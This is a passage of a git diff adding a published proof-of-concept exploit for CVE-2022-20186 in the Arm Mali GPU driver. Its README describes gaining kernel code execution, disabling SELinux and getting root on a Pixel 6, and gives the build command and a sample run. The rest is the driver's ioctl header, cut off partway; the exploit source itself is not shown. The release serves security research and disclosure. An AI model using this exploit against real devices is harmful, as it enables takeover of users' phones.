SecurityExploits/Android/Mali/CVE_2022_20186/mali_alias.c create mode 100644 SecurityExploits/Android/Mali/CVE_2022_20186/mali_base_jm_kernel.h create mode 100644 SecurityExploits/Android/Mali/CVE_2022_20186/midgard.h diff --git a/SecurityExploits/Android/Mali/CVE_2022_20186/README.md b/SecurityExploits/Android/Mali/CVE_2022_20186/README.md new file mode 100644 index 0000000..ed6098b --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE_2022_20186/README.md @@ -0,0 +1,36 @@ +## Exploit for CVE-2022-20186 + +The write up can be found [here](https://github.blog/2022-07-27-corrupting-memory-without-memory-corruption/). This is a bug in the Arm Mali kernel driver that I reported in January 2022. The bug can be used to gain arbitrary kernel code execution from the untrusted app domain, which is then used to disable SELinux and gain root. + +The exploit is tested on the Google Pixel 6 and supports patch levels from Novmember 2021 to Feburary 2022. It is easy to add support for other firmware by changing a few image offsets. For reference, I used the following command to compile with clang in ndk-21: + +``` +android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang mali_alias.c -o mali_alias +``` + +The exploit rarely fails and can be retry without crashing the device. If successful, it should disable SELinux and gain root. + +``` +oriole:/ $ /data/local/tmp/mali_alias +fingerprint: google/oriole/oriole:12/SQ1D.220205.004/8151327:user/release-keys +tracking page 0x6ff794e000 +drain 0x6d5b200000 +gpu_va[0] 6ff6698000 +gpu_va[1] 6ff6695000 +alias 0x6ff6693000 +overwrite addr : 6ff370051c 51c +overwrite addr : 6de310051c 51c +overwrite addr : 6d5f30051c 51c +overwrite addr : 6d5f10051c 51c +overwrite addr : 6d5f30051c 51c +overwrite addr : 6d5f10051c 51c +result 50 +overwrite addr : 6ff370051c 51c +overwrite addr : 6de310051c 51c +overwrite addr : 6d5f30051c 51c +overwrite addr : 6d5f10051c 51c +overwrite addr : 6d5f30051c 51c +overwrite addr : 6d5f10051c 51c +result 50 +oriole:/ # +``` diff --git a/SecurityExploits/Android/Mali/CVE_2022_20186/mali.h b/SecurityExploits/Android/Mali/CVE_2022_20186/mali.h new file mode 100644 index 0000000..814d667 --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE_2022_20186/mali.h @@ -0,0 +1,1037 @@ +/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ +/* + * + * (C) COPYRIGHT 2020-2021 ARM Limited. All rights reserved. + * + * This program is free software and is provided to you under the terms of the + * GNU General Public License version 2 as published by the Free Software + * Foundation, and any use by you of this program is subject to the terms + * of such GNU license. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, you can access it online at + * http://www.gnu.org/licenses/gpl-2.0.html. + * + */ + +#ifndef _UAPI_KBASE_JM_IOCTL_H_ +#define _UAPI_KBASE_JM_IOCTL_H_ + +#include +#include + +/* + * 11.1: + * - Add BASE_MEM_TILER_ALIGN_TOP under base_mem_alloc_flags + * 11.2: + * - KBASE_MEM_QUERY_FLAGS can return KBASE_REG_PF_GROW and KBASE_REG_PROTECTED, + * which some user-side clients prior to 11.2 might fault if they received + * them + * 11.3: + * - New ioctls KBASE_IOCTL_STICKY_RESOURCE_MAP and + * KBASE_IOCTL_STICKY_RESOURCE_UNMAP + * 11.4: + * - New ioctl KBASE_IOCTL_MEM_FIND_GPU_START_AND_OFFSET + * 11.5: + * - New ioctl: KBASE_IOCTL_MEM_JIT_INIT (old ioctl renamed to _OLD) + * 11.6: + * - Added flags field to base_jit_alloc_info structure, which can be used to + * specify pseudo chunked tiler alignment for JIT allocations. + * 11.7: + * - Removed UMP support + * 11.8: + * - Added BASE_MEM_UNCACHED_GPU under base_mem_alloc_flags + * 11.9: + * - Added BASE_MEM_PERMANENT_KERNEL_MAPPING and BASE_MEM_FLAGS_KERNEL_ONLY + * under base_mem_alloc_flags + * 11.10: + * - Enabled the use of nr_extres field of base_jd_atom_v2 structure for + * JIT_ALLOC and JIT_FREE type softjobs to enable multiple JIT allocations + * with one softjob. + * 11.11: + * - Added BASE_MEM_GPU_VA_SAME_4GB_PAGE under base_mem_alloc_flags + * 11.12: + * - Removed ioctl: KBASE_IOCTL_GET_PROFILING_CONTROLS + * 11.13: + * - New ioctl: KBASE_IOCTL_MEM_EXEC_INIT + * 11.14: + * - Add BASE_MEM_GROUP_ID_MASK, base_mem_group_id_get, base_mem_group_id_set + * under base_mem_alloc_flags + * 11.15: + * - Added BASEP_CONTEXT_MMU_GROUP_ID_MASK under base_context_create_flags. + * - Require KBASE_IOCTL_SET_FLAGS before BASE_MEM_MAP_TRACKING_HANDLE can be + * passed to mmap(). + * 11.16: + * - Extended ioctl KBASE_IOCTL_MEM_SYNC to accept imported dma-buf. + * - Modified (backwards compatible) ioctl KBASE_IOCTL_MEM_IMPORT behavior for + * dma-buf. Now, buffers are mapped on GPU when first imported, no longer + * requiring external resource or sticky resource tracking. UNLESS, + * CONFIG_MALI_DMA_BUF_MAP_ON_DEMAND is enabled. + * 11.17: + * - Added BASE_JD_REQ_JOB_SLOT. + * - Reused padding field in base_jd_atom_v2 to pass job slot number. + * - New ioctl: KBASE_IOCTL_GET_CPU_GPU_TIMEINFO + * 11.18: + * - Added BASE_MEM_IMPORT_SYNC_ON_MAP_UNMAP under base_mem_alloc_flags + * 11.19: + * - Extended base_jd_atom_v2 to allow a renderpass ID to be specified. + * 11.20: + * - Added new phys_pages member to kbase_ioctl_mem_jit_init for + * KBASE_IOCTL_MEM_JIT_INIT, previous variants of this renamed to use _10_2 + * (replacing '_OLD') and _11_5 suffixes + * - Replaced compat_core_req (deprecated in 10.3) with jit_id[2] in + * base_jd_atom_v2. It must currently be initialized to zero. + * - Added heap_info_gpu_addr to base_jit_alloc_info, and + * BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE allowable in base_jit_alloc_info's + * flags member. Previous variants of this structure are kept and given _10_2 + * and _11_5 suffixes. + * - The above changes are checked for safe values in usual builds + * 11.21: + * - v2.0 of mali_trace debugfs file, which now versions the file separately + * 11.22: + * - Added base_jd_atom (v3), which is seq_nr + base_jd_atom_v2. + * KBASE_IOCTL_JOB_SUBMIT supports both in parallel. + * 11.23: + * - Modified KBASE_IOCTL_MEM_COMMIT behavior to reject requests to modify + * the physical memory backing of JIT allocations. This was not supposed + * to be a valid use case, but it was allowed by the previous implementation. + * 11.24: + * - Added a sysfs file 'serialize_jobs' inside a new sub-directory + * 'scheduling'. + * 11.25: + * - Enabled JIT pressure limit in base/kbase by default + * 11.26 + * - Added kinstr_jm API + * 11.27 + * - Backwards compatible extension to HWC ioctl. + * 11.28: + * - Added kernel side cache ops needed hint + * 11.29: + * - Reserve ioctl 52 + * 11.30: + * - Add a new priority level BASE_JD_PRIO_REALTIME + * - Add ioctl 54: This controls the priority setting. + * 11.31: + * - Added BASE_JD_REQ_LIMITED_CORE_MASK. + * - Added ioctl 55: set_limited_core_count. + */ +#define BASE_UK_VERSION_MAJOR 11 +#define BASE_UK_VERSION_MINOR 31 + +/** + * struct kbase_ioctl_version_check - Check version compatibility between + * kernel and userspace + * + * @major: Major version number + * @minor: Minor version number + */ +struct kbase_ioctl_version_check { + __u16 major; + __u16 minor; +}; + +#define KBASE_IOCTL_VERSION_CHECK \ + _IOWR(KBASE_IOCTL_TYPE, 0, struct kbase_ioctl_version_check) + + +/** + * struct kbase_ioctl_job_submit - Submit jobs/atoms to the kernel + * + * @addr: Memory address of an array of struct base_jd_atom_v2 or v3 + * @nr_atoms: Number of entries in the array + * @stride: sizeof(struct base_jd_atom_v2) or sizeof(struct base_jd_atom) + */ +struct kbase_ioctl_job_submit { + __u64 addr; + __u32 nr_atoms; + __u32 stride; +}; + +#define KBASE_IOCTL_JOB_SUBMIT \ + _IOW(KBASE_IOCTL_TYPE, 2, struct kbase_ioctl_job_submit) + +#define KBASE_IOCTL_POST_TERM \ + _IO(KBASE_IOCTL_TYPE, 4) + +/** + * struct kbase_ioctl_soft_event_update - Update the status of a soft-event + * @event: GPU address of the event which has been updated + * @new_status: The new status to set + * @flags: Flags for future expansion + */ +struct kbase_ioctl_soft_event_update { + __u64 event; + __u32 new_status; + __u32 flags; +}; + +#define KBASE_IOCTL_SOFT_EVENT_UPDATE \ + _IOW(KBASE_IOCTL_TYPE, 28, struct kbase_ioctl_soft_event_update) + +/** + * struct kbase_kinstr_jm_fd_out - Explains the compatibility information for + * the `struct kbase_kinstr_jm_atom_state_change` structure returned from the + * kernel + * + * @size: The size of the `struct kbase_kinstr_jm_atom_state_change` + * @version: Represents a breaking change in the + * `struct kbase_kinstr_jm_atom_state_change` + * @padding: Explicit padding to get the structure up to 64bits. See + * https://www.kernel.org/doc/Documentation/ioctl/botching-up-ioctls.rst + * + * The `struct kbase_kinstr_jm_atom_state_change` may have extra members at the + * end of the structure that older user space might not understand. If the + * `version` is the same, the structure is still compatible with newer kernels. + * The `size` can be used to cast the opaque memory returned from the kernel. + */ +struct kbase_kinstr_jm_fd_out { + __u16 size; + __u8 version; + __u8 padding[5]; +}; + +/** + * struct kbase_kinstr_jm_fd_in - Options when creating the file descriptor + * + * @count: Number of atom states that can be stored in the kernel circular + * buffer. Must be a power of two + * @padding: Explicit padding to get the structure up to 64bits. See + * https://www.kernel.org/doc/Documentation/ioctl/botching-up-ioctls.rst + */ +struct kbase_kinstr_jm_fd_in { + __u16 count; + __u8 padding[6]; +}; + +union kbase_kinstr_jm_fd { + struct kbase_kinstr_jm_fd_in in; + struct kbase_kinstr_jm_fd_out out; +}; + +#define KBASE_IOCTL_KINSTR_JM_FD \ + _IOWR(KBASE_IOCTL_TYPE, 51, union kbase_kinstr_jm_fd) + + +#define KBASE_IOCTL_VERSION_CHECK_RESERVED \ + _IOWR(KBASE_IOCTL_TYPE, 52, struct kbase_ioctl_version_check) + +#define KBASE_IOCTL_TYPE 0x80 + +/** + * struct kbase_ioctl_set_flags - Set kernel context creation flags + * + * @create_flags: Flags - see base_context_create_flags + */ +struct kbase_ioctl_set_flags { + __u32 create_flags; +}; + +#define KBASE_IOCTL_SET_FLAGS \ + _IOW(KBASE_IOCTL_TYPE, 1, struct kbase_ioctl_set_flags) + +/** + * struct kbase_ioctl_get_gpuprops - Read GPU properties from the kernel + * + * @buffer: Pointer to the buffer to store properties into + * @size: Size of the buffer + * @flags: Flags - must be zero for now + * + * The ioctl will return the number of bytes stored into @buffer or an error + * on failure (e.g. @size is too small). If @size is specified as 0 then no + * data will be written but the return value will be the number of bytes needed + * for all the properties. + * + * @flags may be used in the future to request a different format for the + * buffer. With @flags == 0 the following format is used. + * + * The buffer will be filled with pairs of values, a __u32 key identifying the + * property followed by the value. The size of the value is identified using + * the bottom bits of the key. The value then immediately followed the key and + * is tightly packed (there is no padding). All keys and values are + * little-endian. + * + * 00 = __u8 + * 01 = __u16 + * 10 = __u32 + * 11 = __u64 + */ +struct kbase_ioctl_get_gpuprops { + __u64 buffer; + __u32 size; + __u32 flags; +}; + +#define KBASE_IOCTL_GET_GPUPROPS \ + _IOW(KBASE_IOCTL_TYPE, 3, struct kbase_ioctl_get_gpuprops) + +/** + * union kbase_ioctl_mem_alloc - Allocate memory on the GPU + * @in: Input parameters + * @in.va_pages: The number of pages of virtual address space to reserve + * @in.commit_pages: The number of physical pages to allocate + * @in.extension: The number of extra pages to allocate on each GPU fault which grows the region + * @in.flags: Flags + * @out: Output parameters + * @out.flags: Flags + * @out.gpu_va: The GPU virtual address which is allocated + */ +union kbase_ioctl_mem_alloc { + struct { + __u64 va_pages; + __u64 commit_pages; + __u64 extension; + __u64 flags; + } in; + struct { + __u64 flags; + __u64 gpu_va; + } out; +}; + +#define KBASE_IOCTL_MEM_ALLOC \ + _IOWR(KBASE_IOCTL_TYPE, 5, union kbase_ioctl_mem_alloc) + +/** + * struct kbase_ioctl_mem_query - Query properties of a GPU memory region + * @in: Input parameters + * @in.gpu_addr: A GPU address contained within the region + * @in.query: The type of query + * @out: Output parameters + * @out.value: The result of the query + * + * Use a %KBASE_MEM_QUERY_xxx flag as input for @query. + */ +union kbase_ioctl_mem_query { + struct { + __u64 gpu_addr; + __u64 query; + } in; + struct { + __u64 value; + } out; +}; + +#define KBASE_IOCTL_MEM_QUERY \ + _IOWR(KBASE_IOCTL_TYPE, 6, union kbase_ioctl_mem_query) + +#define KBASE_MEM_QUERY_COMMIT_SIZE ((__u64)1) +#define KBASE_MEM_QUERY_VA_SIZE ((__u64)2) +#define KBASE_MEM_QUERY_FLAGS ((__u64)3) + +/** + * struct kbase_ioctl_mem_free - Free a memory region + * @gpu_addr: Handle to the region to free + */ +struct kbase_ioctl_mem_free { + __u64 gpu_addr; +}; + +#define KBASE_IOCTL_MEM_FREE \ + _IOW(KBASE_IOCTL_TYPE, 7, struct kbase_ioctl_mem_free) + +/** + * struct kbase_ioctl_hwcnt_reader_setup - Setup HWC dumper/reader + * @buffer_count: requested number of dumping buffers + * @fe_bm: counters selection bitmask (Front end) + * @shader_bm: counters selection bitmask (Shader) + * @tiler_bm: counters selection bitmask (Tiler) + * @mmu_l2_bm: counters selection bitmask (MMU_L2) + * + * A fd is returned from the ioctl if successful, or a negative value on error + */ +struct kbase_ioctl_hwcnt_reader_setup { + __u32 buffer_count; + __u32 fe_bm; + __u32 shader_bm; + __u32 tiler_bm; + __u32 mmu_l2_bm; +}; + +#define KBASE_IOCTL_HWCNT_READER_SETUP \ + _IOW(KBASE_IOCTL_TYPE, 8, struct kbase_ioctl_hwcnt_reader_setup) + +/** + * struct kbase_ioctl_hwcnt_enable - Enable hardware counter collection + * @dump_buffer: GPU address to write counters to + * @fe_bm: counters selection bitmask (Front end) + * @shader_bm: counters selection bitmask (Shader) + * @tiler_bm: counters selection bitmask (Tiler) + * @mmu_l2_bm: counters selection bitmask (MMU_L2) + */ +struct kbase_ioctl_hwcnt_enable { + __u64 dump_buffer; + __u32 fe_bm; + __u32 shader_bm; + __u32 tiler_bm; + __u32 mmu_l2_bm; +}; + +#define KBASE_IOCTL_HWCNT_ENABLE \ + _IOW(KBASE_IOCTL_TYPE, 9, struct kbase_ioctl_hwcnt_enable) + +#define KBASE_IOCTL_HWCNT_DUMP \ + _IO(KBASE_IOCTL_TYPE, 10) + +#define KBASE_IOCTL_HWCNT_CLEAR \ + _IO(KBASE_IOCTL_TYPE, 11) + +/** + * struct kbase_ioctl_hwcnt_values - Values to set dummy the dummy counters to. + * @data: Counter samples for the dummy model. + * @size: Size of the counter sample data. + * @padding: Padding. + */ +struct kbase_ioctl_hwcnt_values { + __u64 data; + __u32 size; + __u32 padding; +}; + +#define KBASE_IOCTL_HWCNT_SET \ + _IOW(KBASE_IOCTL_TYPE, 32, struct kbase_ioctl_hwcnt_values) + +/** + * struct kbase_ioctl_disjoint_query - Query the disjoint counter + * @counter: A counter of disjoint events in the kernel + */ +struct kbase_ioctl_disjoint_query { + __u32 counter; +}; + +#define KBASE_IOCTL_DISJOINT_QUERY \ + _IOR(KBASE_IOCTL_TYPE, 12, struct kbase_ioctl_disjoint_query) + +/** + * struct kbase_ioctl_get_ddk_version - Query the kernel version + * @version_buffer: Buffer to receive the kernel version string + * @size: Size of the buffer + * @padding: Padding + * + * The ioctl will return the number of bytes written into version_buffer + * (which includes a NULL byte) or a negative error code + * + * The ioctl request code has to be _IOW because the data in ioctl struct is + * being copied to the kernel, even though the kernel then writes out the + * version info to the buffer specified in the ioctl. + */ +struct kbase_ioctl_get_ddk_version { + __u64 version_buffer; + __u32 size; + __u32 padding; +}; + +#define KBASE_IOCTL_GET_DDK_VERSION \ + _IOW(KBASE_IOCTL_TYPE, 13, struct kbase_ioctl_get_ddk_version) + +/** + * struct kbase_ioctl_mem_jit_init_10_2 - Initialize the just-in-time memory + * allocator (between kernel driver + * version 10.2--11.4) + * @va_pages: Number of VA pages to reserve for JIT + * + * Note that depending on the VA size of the application and GPU, the value + * specified in @va_pages may be ignored. + * + * New code should use KBASE_IOCTL_MEM_JIT_INIT instead, this is kept for + * backwards compatibility. + */ +struct kbase_ioctl_mem_jit_init_10_2 { + __u64 va_pages; +}; + +#define KBASE_IOCTL_MEM_JIT_INIT_10_2 \ + _IOW(KBASE_IOCTL_TYPE, 14, struct kbase_ioctl_mem_jit_init_10_2) + +/** + * struct kbase_ioctl_mem_jit_init_11_5 - Initialize the just-in-time memory + * allocator (between kernel driver + * version 11.5--11.19) + * @va_pages: Number of VA pages to reserve for JIT + * @max_allocations: Maximum number of concurrent allocations + * @trim_level: Level of JIT allocation trimming to perform on free (0 - 100%) + * @group_id: Group ID to be used for physical allocations + * @padding: Currently unused, must be zero + * + * Note that depending on the VA size of the application and GPU, the value + * specified in @va_pages may be ignored. + * + * New code should use KBASE_IOCTL_MEM_JIT_INIT instead, this is kept for + * backwards compatibility. + */ +struct kbase_ioctl_mem_jit_init_11_5 { + __u64 va_pages; + __u8 max_allocations; + __u8 trim_level; + __u8 group_id; + __u8 padding[5]; +}; + +#define KBASE_IOCTL_MEM_JIT_INIT_11_5 \ + _IOW(KBASE_IOCTL_TYPE, 14, struct kbase_ioctl_mem_jit_init_11_5) + +/** + * struct kbase_ioctl_mem_jit_init - Initialize the just-in-time memory + * allocator + * @va_pages: Number of GPU virtual address pages to reserve for just-in-time + * memory allocations + * @max_allocations: Maximum number of concurrent allocations + * @trim_level: Level of JIT allocation trimming to perform on free (0 - 100%) + * @group_id: Group ID to be used for physical allocations + * @padding: Currently unused, must be zero + * @phys_pages: Maximum number of physical pages to allocate just-in-time + * + * Note that depending on the VA size of the application and GPU, the value + * specified in @va_pages may be ignored. + */ +struct kbase_ioctl_mem_jit_init { + __u64 va_pages; + __u8 max_allocations; + __u8 trim_level; + __u8 group_id; + __u8 padding[5]; + __u64 phys_pages; +}; + +#define KBASE_IOCTL_MEM_JIT_INIT \ + _IOW(KBASE_IOCTL_TYPE, 14, struct kbase_ioctl_mem_jit_init) + +/** + * struct kbase_ioctl_mem_sync - Perform cache maintenance on memory + * + * @handle: GPU memory handle (GPU VA) + * @user_addr: The address where it is mapped in user space + * @size: The number of bytes to synchronise + * @type: The direction to synchronise: 0 is sync to memory (clean), + * 1 is sync from memory (invalidate). Use the BASE_SYNCSET_OP_xxx constants. + * @padding: Padding to round up to a multiple of 8 bytes, must be zero + */ +struct kbase_ioctl_mem_sync { + __u64 handle; + __u64 user_addr; + __u64 size; + __u8 type; + __u8 padding[7]; +}; + +#define KBASE_IOCTL_MEM_SYNC \ + _IOW(KBASE_IOCTL_TYPE, 15, struct kbase_ioctl_mem_sync) + +/** + * union kbase_ioctl_mem_find_cpu_offset - Find the offset of a CPU pointer + * + * @in: Input parameters + * @in.gpu_addr: The GPU address of the memory region + * @in.cpu_addr: The CPU address to locate + * @in.size: A size in bytes to validate is contained within the region + * @out: Output parameters + * @out.offset: The offset from the start of the memory region to @cpu_addr + */ +union kbase_ioctl_mem_find_cpu_offset { + struct { + __u64 gpu_addr; + __u64 cpu_addr; + __u64 size; + } in; + struct { + __u64 offset; + } out; +}; + +#define KBASE_IOCTL_MEM_FIND_CPU_OFFSET \ + _IOWR(KBASE_IOCTL_TYPE, 16, union kbase_ioctl_mem_find_cpu_offset) + +/** + * struct kbase_ioctl_get_context_id - Get the kernel context ID + * + * @id: The kernel context ID + */ +struct kbase_ioctl_get_context_id { + __u32 id; +}; + +#define KBASE_IOCTL_GET_CONTEXT_ID \ + _IOR(KBASE_IOCTL_TYPE, 17, struct kbase_ioctl_get_context_id) + +/** + * struct kbase_ioctl_tlstream_acquire - Acquire a tlstream fd + * + * @flags: Flags + * + * The ioctl returns a file descriptor when successful + */ +struct kbase_ioctl_tlstream_acquire { + __u32 flags; +}; + +#define KBASE_IOCTL_TLSTREAM_ACQUIRE \ + _IOW(KBASE_IOCTL_TYPE, 18, struct kbase_ioctl_tlstream_acquire) + +#define KBASE_IOCTL_TLSTREAM_FLUSH \ + _IO(KBASE_IOCTL_TYPE, 19) + +/** + * struct kbase_ioctl_mem_commit - Change the amount of memory backing a region + * + * @gpu_addr: The memory region to modify + * @pages: The number of physical pages that should be present + * + * The ioctl may return on the following error codes or 0 for success: + * -ENOMEM: Out of memory + * -EINVAL: Invalid arguments + */ +struct kbase_ioctl_mem_commit { + __u64 gpu_addr; + __u64 pages; +}; + +#define KBASE_IOCTL_MEM_COMMIT \ + _IOW(KBASE_IOCTL_TYPE, 20, struct kbase_ioctl_mem_commit) + +/** + * union kbase_ioctl_mem_alias - Create an alias of memory regions + * @in: Input parameters + * @in.flags: Flags, see BASE_MEM_xxx + * @in.stride: Bytes between start of each memory region + * @in.nents: The number of regions to pack together into the alias + * @in.aliasing_info: Pointer to an array of struct base_mem_aliasing_info + * @out: Output parameters + * @out.flags: Flags, see BASE_MEM_xxx + * @out.gpu_va: Address of the new alias + * @out.va_pages: Size of the new alias + */ +union kbase_ioctl_mem_alias { + struct { + __u64 flags; + __u64 stride; + __u64 nents; + __u64 aliasing_info; + } in; + struct { + __u64 flags; + __u64 gpu_va; + __u64 va_pages; + } out; +}; + +#define KBASE_IOCTL_MEM_ALIAS \ + _IOWR(KBASE_IOCTL_TYPE, 21, union kbase_ioctl_mem_alias) + +/** + * union kbase_ioctl_mem_import - Import memory for use by the GPU + * @in: Input parameters + * @in.flags: Flags, see BASE_MEM_xxx + * @in.phandle: Handle to the external memory + * @in.type: Type of external memory, see base_mem_import_type + * @in.padding: Amount of extra VA pages to append to the imported buffer + * @out: Output parameters + * @out.flags: Flags, see BASE_MEM_xxx + * @out.gpu_va: Address of the new alias + * @out.va_pages: Size of the new alias + */ +union kbase_ioctl_mem_import { + struct { + __u64 flags; + __u64 phandle; + __u32 type; + __u32 padding; + } in; + struct { + __u64 flags; + __u64 gpu_va; + __u64 va_pages; + } out; +}; + +#define KBASE_IOCTL_MEM_IMPORT \ + _IOWR(KBASE_IOCTL_TYPE, 22, union kbase_ioctl_mem_import) + +/** + * struct kbase_ioctl_mem_flags_change - Change the flags for a memory region + * @gpu_va: The GPU region to modify + * @flags: The new flags to set + * @mask: Mask of the flags to modify + */ +struct kbase_ioctl_mem_flags_change { + __u64 gpu_va; + __u64 flags; + __u64 mask; +}; + +#define KBASE_IOCTL_MEM_FLAGS_CHANGE \ + _IOW(KBASE_IOCTL_TYPE, 23, struct kbase_ioctl_mem_flags_change) + +/** + * struct kbase_ioctl_stream_create - Create a synchronisation stream + * @name: A name to identify this stream. Must be NULL-terminated. + * + * Note that this is also called a "timeline", but is named stream to avoid + * confusion with other uses of the word. + * + * Unused bytes in @name (after the first NULL byte) must be also be NULL bytes. + * + * The ioctl returns a file descriptor. + */ +struct kbase_ioctl_stream_create { + char name[32]; +}; + +#define KBASE_IOCTL_STREAM_CREATE \ + _IOW(KBASE_IOCTL_TYPE, 24, struct kbase_ioctl_stream_create) + +/** + * struct kbase_ioctl_fence_validate - Validate a fd refers to a fence + * @fd: The file descriptor to validate + */ +struct kbase_ioctl_fence_validate { + int fd; +}; + +#define KBASE_IOCTL_FENCE_VALIDATE \ + _IOW(KBASE_IOCTL_TYPE, 25, struct kbase_ioctl_fence_validate) + +/** + * struct kbase_ioctl_mem_profile_add - Provide profiling information to kernel + * @buffer: Pointer to the information + * @len: Length + * @padding: Padding + * + * The data provided is accessible through a debugfs file + */ +struct kbase_ioctl_mem_profile_add { + __u64 buffer; + __u32 len; + __u32 padding; +}; + +#define KBASE_IOCTL_MEM_PROFILE_ADD \ + _IOW(KBASE_IOCTL_TYPE, 27, struct kbase_ioctl_mem_profile_add) + +/** + * struct kbase_ioctl_sticky_resource_map - Permanently map an external resource + * @count: Number of resources + * @address: Array of __u64 GPU addresses of the external resources to map + */ +struct kbase_ioctl_sticky_resource_map { + __u64 count; + __u64 address; +}; + +#define KBASE_IOCTL_STICKY_RESOURCE_MAP \ + _IOW(KBASE_IOCTL_TYPE, 29, struct kbase_ioctl_sticky_resource_map) + +/** + * struct kbase_ioctl_sticky_resource_map - Unmap a resource mapped which was + * previously permanently mapped + * @count: Number of resources + * @address: Array of __u64 GPU addresses of the external resources to unmap + */ +struct kbase_ioctl_sticky_resource_unmap { + __u64 count; + __u64 address; +}; + +#define KBASE_IOCTL_STICKY_RESOURCE_UNMAP \ + _IOW(KBASE_IOCTL_TYPE, 30, struct kbase_ioctl_sticky_resource_unmap) + +/** + * union kbase_ioctl_mem_find_gpu_start_and_offset - Find the start address of + * the GPU memory region for + * the given gpu address and + * the offset of that address + * into the region + * @in: Input parameters + * @in.gpu_addr: GPU virtual address + * @in.size: Size in bytes within the region + * @out: Output parameters + * @out.start: Address of the beginning of the memory region enclosing @gpu_addr + * for the length of @offset bytes + * @out.offset: The offset from the start of the memory region to @gpu_addr + */ +union kbase_ioctl_mem_find_gpu_start_and_offset { + struct { + __u64 gpu_addr; + __u64 size; + } in; + struct { + __u64 start; + __u64 offset; + } out; +}; + +#define KBASE_IOCTL_MEM_FIND_GPU_START_AND_OFFSET \ + _IOWR(KBASE_IOCTL_TYPE, 31, union kbase_ioctl_mem_find_gpu_start_and_offset) + +#define KBASE_IOCTL_CINSTR_GWT_START \ + _IO(KBASE_IOCTL_TYPE, 33) + +#define KBASE_IOCTL_CINSTR_GWT_STOP \ + _IO(KBASE_IOCTL_TYPE, 34) + +/** + * union kbase_ioctl_gwt_dump - Used to collect all GPU write fault addresses. + * @in: Input parameters + * @in.addr_buffer: Address of buffer to hold addresses of gpu modified areas. + * @in.size_buffer: Address of buffer to hold size of modified areas (in pages) + * @in.len: Number of addresses the buffers can hold. + * @in.padding: padding + * @out: Output parameters + * @out.no_of_addr_collected: Number of addresses collected into addr_buffer. + * @out.more_data_available: Status indicating if more addresses are available. + * @out.padding: padding + * + * This structure is used when performing a call to dump GPU write fault + * addresses. + */ +union kbase_ioctl_cinstr_gwt_dump { + struct { + __u64 addr_buffer; + __u64 size_buffer; + __u32 len; + __u32 padding; + + } in; + struct { + __u32 no_of_addr_collected; + __u8 more_data_available; + __u8 padding[27]; + } out; +}; + +#define KBASE_IOCTL_CINSTR_GWT_DUMP \ + _IOWR(KBASE_IOCTL_TYPE, 35, union kbase_ioctl_cinstr_gwt_dump) + +/** + * struct kbase_ioctl_mem_exec_init - Initialise the EXEC_VA memory zone + * + * @va_pages: Number of VA pages to reserve for EXEC_VA + */ +struct kbase_ioctl_mem_exec_init { + __u64 va_pages; +}; + +#define KBASE_IOCTL_MEM_EXEC_INIT \ + _IOW(KBASE_IOCTL_TYPE, 38, struct kbase_ioctl_mem_exec_init) + +/** + * union kbase_ioctl_get_cpu_gpu_timeinfo - Request zero or more types of + * cpu/gpu time (counter values) + * @in: Input parameters + * @in.request_flags: Bit-flags indicating the requested types. + * @in.paddings: Unused, size alignment matching the out. + * @out: Output parameters + * @out.sec: Integer field of the monotonic time, unit in seconds. + * @out.nsec: Fractional sec of the monotonic time, in nano-seconds. + * @out.padding: Unused, for __u64 alignment + * @out.timestamp: System wide timestamp (counter) value. + * @out.cycle_counter: GPU cycle counter value. + */ +union kbase_ioctl_get_cpu_gpu_timeinfo { + struct { + __u32 request_flags; + __u32 paddings[7]; + } in; + struct { + __u64 sec; + __u32 nsec; + __u32 padding; + __u64 timestamp; + __u64 cycle_counter; + } out; +}; + +#define KBASE_IOCTL_GET_CPU_GPU_TIMEINFO \ + _IOWR(KBASE_IOCTL_TYPE, 50, union kbase_ioctl_get_cpu_gpu_timeinfo) + +/** + * struct kbase_ioctl_context_priority_check - Check the max possible priority + * @priority: Input priority & output priority + */ + +struct kbase_ioctl_context_priority_check { + __u8 priority; +}; + +#define KBASE_IOCTL_CONTEXT_PRIORITY_CHECK \ + _IOWR(KBASE_IOCTL_TYPE, 54, struct kbase_ioctl_context_priority_check) + +/** + * struct kbase_ioctl_set_limited_core_count - Set the limited core count. + * + * @max_core_count: Maximum core count + */ +struct kbase_ioctl_set_limited_core_count { + __u8 max_core_count; +}; + +#define KBASE_IOCTL_SET_LIMITED_CORE_COUNT \ + _IOW(KBASE_IOCTL_TYPE, 55, struct kbase_ioctl_set_limited_core_count) + + +/*************** + * Pixel ioctls * + ***************/ + +/** + * struct kbase_ioctl_apc_request - GPU asynchronous power control (APC) request + * + * @dur_usec: Duration for GPU to stay awake. + */ +struct kbase_ioctl_apc_request { + __u32 dur_usec; +}; + +#define KBASE_IOCTL_APC_REQUEST \ + _IOW(KBASE_IOCTL_TYPE, 66, struct kbase_ioctl_apc_request) + +/*************** + * test ioctls * + ***************/ +#if MALI_UNIT_TEST +/* These ioctls are purely for test purposes and are not used in the production + * driver, they therefore may change without notice + */ + +#define KBASE_IOCTL_TEST_TYPE (KBASE_IOCTL_TYPE + 1) + + +/** + * struct kbase_ioctl_tlstream_stats - Read tlstream stats for test purposes + * @bytes_collected: number of bytes read by user + * @bytes_generated: number of bytes generated by tracepoints + */ +struct kbase_ioctl_tlstream_stats { + __u32 bytes_collected; + __u32 bytes_generated; +}; + +#define KBASE_IOCTL_TLSTREAM_STATS \ + _IOR(KBASE_IOCTL_TEST_TYPE, 2, struct kbase_ioctl_tlstream_stats) + +#endif /* MALI_UNIT_TEST */ + +/* Customer extension range */ +#define KBASE_IOCTL_EXTRA_TYPE (KBASE_IOCTL_TYPE + 2) + +/* If the integration needs extra ioctl add them there + * like this: + * + * struct my_ioctl_args { + * .... + * } + * + * #define KBASE_IOCTL_MY_IOCTL \ + * _IOWR(KBASE_IOCTL_EXTRA_TYPE, 0, struct my_ioctl_args) + */ + + +/********************************** + * Definitions for GPU properties * + **********************************/ +#define KBASE_GPUPROP_VALUE_SIZE_U8 (0x0) +#define KBASE_GPUPROP_VALUE_SIZE_U16 (0x1) +#define KBASE_GPUPROP_VALUE_SIZE_U32 (0x2) 